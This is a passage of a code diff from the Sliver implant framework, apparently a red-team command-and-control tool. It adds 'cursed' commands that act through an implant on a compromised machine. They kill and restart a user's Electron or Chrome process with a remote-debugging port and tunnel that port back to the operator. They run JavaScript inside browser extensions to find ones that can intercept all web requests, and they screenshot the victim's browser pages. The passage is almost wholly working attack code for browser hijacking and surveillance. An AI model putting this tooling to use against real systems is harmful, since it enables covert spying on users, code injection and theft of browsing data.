"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
electronExe := ctx.Flags.String("exe")
if electronExe == "" {
con.PrintErrorf("Missing --exe flag, see --help\n")
return
}
curse := avadaKedavraElectron(electronExe, session, ctx, con)
if curse == nil {
return
}
con.PrintInfof("Checking for debug targets ...")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
if len(targets) == 0 {
con.PrintErrorf("Zero debug targets found\n")
return
}
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
}
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s", err)
return nil
}
if !exists {
con.PrintErrorf("Executable path does not exist: %s", electronExe)
return nil
}
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: electronProcess.Pid,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
})
if err != nil {
return false, err
}
return ls.GetExists(), nil
}
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
return process, nil
}
}
return nil, nil
}
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: electronExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: electronExe,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+75
View File
@@ -0,0 +1,75 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
kill := ctx.Flags.Bool("kill")
bindPort := ctx.Args.Int("bind-port")
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
}
if !confirm {
con.PrintErrorf("User cancel\n")
return
}
// Get cursed process
var cursedProc *core.CursedProcess
curses := core.CursedProcessBySessionID(session.ID)
for _, curse := range curses {
if curse.BindTCPPort == bindPort {
cursedProc = curse
}
}
if cursedProc == nil {
con.PrintErrorf("Failed to find cursed process\n")
return
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: int32(cursedProc.PID),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return
}
}
}
@@ -0,0 +1,69 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality := ctx.Flags.Int64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = ioutil.WriteFile(saveFile, data, 0644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
+109
View File
@@ -0,0 +1,109 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
cursedProcesses = append(cursedProcesses, []string{
fmt.Sprintf("%d", curse.BindTCPPort),
strings.Split(curse.SessionID, "-")[0],
fmt.Sprintf("%d", curse.PID),
curse.Platform,
curse.ExePath,
curse.DebugURL().String(),
})
return true
})
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
})
for _, rowEntries := range cursedProcesses {
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
} else {
con.PrintInfof("No cursed processes\n")
}
}
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
return true
})
if len(cursedProcesses) < 1 {
con.PrintErrorf("No cursed processes\n")
return nil
}
port2process := map[int]*core.CursedProcess{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, cursedProcess := range cursedProcesses {
fmt.Fprintf(table, "%d\t%s\t%s\n",
cursedProcess.BindTCPPort,
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
cursedProcess.ExePath)
port2process[cursedProcess.BindTCPPort] = cursedProcess
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
+4
View File
@@ -281,6 +281,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
if targetOS == "" || targetArch == "" {
return nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
+15
View File
@@ -103,6 +103,8 @@ var (
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -686,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
If no extension is specified, Sliver will enumerate all installed extensions, extract their
permissions and determine a valid target for injection. For Cursed Chrome to work properly
the target extension must have either of these two sets of permissions:
1. "webRequest" "webRequestBlocking" "<all_urls>"
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
More information: https://github.com/mandatoryprogrammer/CursedChrome
`
)
+1 -1
View File
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
"Remote Address",
})
for _, p := range portfwds {
tw.AppendHeader(table.Row{
tw.AppendRow(table.Row{
p.ID,
p.SessionID,
p.BindAddr,
+5 -3
View File
@@ -19,6 +19,7 @@ package reaction
*/
import (
"fmt"
"os"
"github.com/AlecAivazis/survey/v2"
@@ -29,9 +30,10 @@ import (
// ReactionSaveCmd - Manage reactions to events
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
reactionPath := GetReactionFilePath()
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
confirm := false
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved reactions to disk\n")
con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
}
}
+1
View File
@@ -216,6 +216,7 @@ func (con *SliverConsoleClient) EventLoop() {
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
core.CloseCursedProcesses(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
+6
View File
@@ -238,6 +238,12 @@ const (
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
Cursed = "cursed"
CursedChrome = "chrome"
CursedConsole = "console"
CursedElectron = "electron"
CursedEdge = "edge"
)
// Groups
+92
View File
@@ -0,0 +1,92 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"net/url"
"sync"
)
var (
// SessionID -> CursedProcess
CursedProcesses = &sync.Map{}
)
type CursedProcess struct {
SessionID string
PID uint32
BindTCPPort int
PortFwd *Portfwd
Platform string
ExePath string
ChromeUserDataDir string
}
func (c *CursedProcess) DebugURL() *url.URL {
return &url.URL{
Scheme: "http",
Host: fmt.Sprintf("localhost:%d", c.BindTCPPort),
Path: "/json",
}
}
func CursedProcessBySessionID(sessionID string) []*CursedProcess {
var cursedProcesses []*CursedProcess
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
cursedProcesses = append(cursedProcesses, cursedProcess)
}
return true
})
return cursedProcesses
}
func CloseCursedProcesses(sessionID string) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
+300
View File
@@ -0,0 +1,300 @@
package overlord
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
"github.com/bishopfox/sliver/client/core"
"github.com/chromedp/cdproto/page"
"github.com/chromedp/cdproto/target"
"github.com/chromedp/chromedp"
)
const (
// AllURLs - All URLs permission
AllURLs = "<all_urls>"
// AllHTTP - All HTTP permission
AllHTTP = "http://*/*"
// AllHTTPS - All HTTP permission
AllHTTPS = "https://*/*"
// WebRequest - WebRequest permission
WebRequest = "webRequest"
// WebRequestBlocking - WebRequestBlocking permission
WebRequestBlocking = "webRequestBlocking"
// FetchManifestJS - Get extension manifest
FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
)
var (
// ErrTargetNotFound - Returned when a target cannot be found
ErrTargetNotFound = errors.New("Target not found")
)
// ManifestBackground - An extension manifest file
type ManifestBackground struct {
Scripts []string `json:"scripts"`
Persistent bool `json:"persistent"`
}
// Manifest - An extension manifest file
type Manifest struct {
Name string `json:"name"`
Version string `json:"version"`
Description string `json:"description"`
ManifestVersion int `json:"manifest_version"`
Permissions []string `json:"permissions"`
Background ManifestBackground `json:"background"`
}
// ChromeDebugTarget - A single debug context object
type ChromeDebugTarget struct {
Description string `json:"description"`
DevToolsFrontendURL string `json:"devtoolsFrontendUrl"`
ID string `json:"id"`
Title string `json:"title"`
Type string `json:"type"`
URL string `json:"url"`
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
}
var allocCtx context.Context
func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
opts := []func(*chromedp.ExecAllocator){
chromedp.Flag("restore-last-session", true),
chromedp.UserDataDir(userHomeDir),
}
switch platform {
case "darwin":
opts = append(opts,
chromedp.Flag("headless", false),
chromedp.Flag("use-mock-keychain", false),
)
default:
opts = append(opts, chromedp.Headless)
}
opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
return opts
}
func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
var (
cancel context.CancelFunc
)
if webSocketURL != "" {
allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
} else {
opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
}
taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
return taskCtx, taskCancel, cancel
}
func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
targets, err := chromedp.Targets(ctx)
if err != nil {
return nil
}
for _, targetInfo := range targets {
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
return targetInfo
}
}
return nil
}
func contains(haystack []string, needle string) bool {
set := make(map[string]struct{}, len(haystack))
for _, entry := range haystack {
set[entry] = struct{}{}
}
_, ok := set[needle]
return ok
}
func containsAll(haystack []string, needles []string) bool {
all := true
for _, needle := range needles {
if !contains(haystack, needle) {
all = false
break
}
}
return all
}
// ExecuteJS - injects a JavaScript code into a target
func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
targetInfo := findTargetInfoByID(ctx, targetID)
if targetInfo == nil {
return nil, ErrTargetNotFound
}
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
var result []byte
err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
return result, err
}
// FindExtensionWithPermissions - Find an extension with a permission
func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
if err != nil {
return nil, err
}
for _, target := range targets {
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
if err != nil {
continue
}
manifest := &Manifest{}
err = json.Unmarshal(result, manifest)
if err != nil {
continue
}
if containsAll(manifest.Permissions, permissions) {
return &target, nil
}
}
return nil, nil // No targets, no errors
}
// FindExtensionsWithPermissions - Find an extension with a permission
func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
if err != nil {
return nil, err
}
extensions := []*ChromeDebugTarget{}
for _, target := range targets {
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
if err != nil {
continue
}
manifest := &Manifest{}
err = json.Unmarshal(result, manifest)
if err != nil {
continue
}
if containsAll(manifest.Permissions, permissions) {
extensions = append(extensions, &target)
}
}
return extensions, nil
}
// QueryDebugTargets - Query debug listener using HTTP client
func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
resp, err := http.Get(debugURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("Non-200 status code")
}
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
debugContexts := []ChromeDebugTarget{}
err = json.Unmarshal(data, &debugContexts)
return debugContexts, err
}
// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
resp, err := http.Get(debugURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("Non-200 status code")
}
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
debugContexts := []ChromeDebugTarget{}
err = json.Unmarshal(data, &debugContexts)
if err != nil {
return nil, err
}
extensionContexts := []ChromeDebugTarget{}
for _, debugCtx := range debugContexts {
ctxURL, err := url.Parse(debugCtx.URL)
if err != nil {
continue
}
if ctxURL.Scheme == "chrome-extension" {
extensionContexts = append(extensionContexts, debugCtx)
}
}
return extensionContexts, nil
}
// Screenshot - Take a screenshot of a Chrome context
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
var result []byte
screenshotTask := chromedp.Tasks{
chromedp.ActionFunc(func(ctx context.Context) error {
_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
if err != nil {
return err
}
result, err = page.CaptureScreenshot().
WithQuality(quality).
WithClip(&page.Viewport{
X: contentSize.X,
Y: contentSize.Y,
Width: contentSize.Width,
Height: contentSize.Height,
Scale: 1,
}).Do(ctx)
if err != nil {
return err
}
return nil
}),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
targetInfo := findTargetInfoByID(taskCtx, targetID)
if targetInfo == nil {
return []byte{}, ErrTargetNotFound
}
ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
if err := chromedp.Run(ctx, screenshotTask); err != nil {
return nil, err
}
return result, nil
}
+11 -2
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.17
go 1.18
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
@@ -10,8 +10,11 @@ require (
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.2
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
github.com/chromedp/chromedp v0.8.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
@@ -35,7 +38,7 @@ require (
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
@@ -61,6 +64,7 @@ require (
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/chromedp/sysutil v1.0.0 // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
@@ -70,6 +74,9 @@ require (
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
@@ -85,9 +92,11 @@ require (
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/josharian/intern v1.0.0 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
+26 -1
View File
@@ -85,6 +85,8 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
@@ -152,6 +154,12 @@ github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XL
github.com/checkpoint-restore/go-criu/v4 v4.1.0/go.mod h1:xUQBLp4RLc5zJtWY++yjOoMoB5lihDt7fai+75m+rGw=
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
